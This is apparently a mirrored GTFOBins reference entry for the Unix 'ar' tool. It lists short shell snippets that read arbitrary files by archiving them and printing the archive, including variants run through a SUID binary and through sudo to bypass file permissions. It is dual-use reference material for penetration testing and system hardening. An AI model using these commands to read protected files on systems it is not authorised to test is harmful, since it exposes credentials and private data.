mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 23:38:29 +01:00
23 lines
458 B
Markdown
23 lines
458 B
Markdown
---
|
|
description: The file appears amid the binary content of the archive.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
LFILE=file_to_read
|
|
ar r "$TF" "$LFILE"
|
|
cat "$TF"
|
|
suid:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
LFILE=file_to_read
|
|
./ar r "$TF" "$LFILE"
|
|
cat "$TF"
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
LFILE=file_to_read
|
|
sudo ar r "$TF" "$LFILE"
|
|
cat "$TF"
|
|
---
|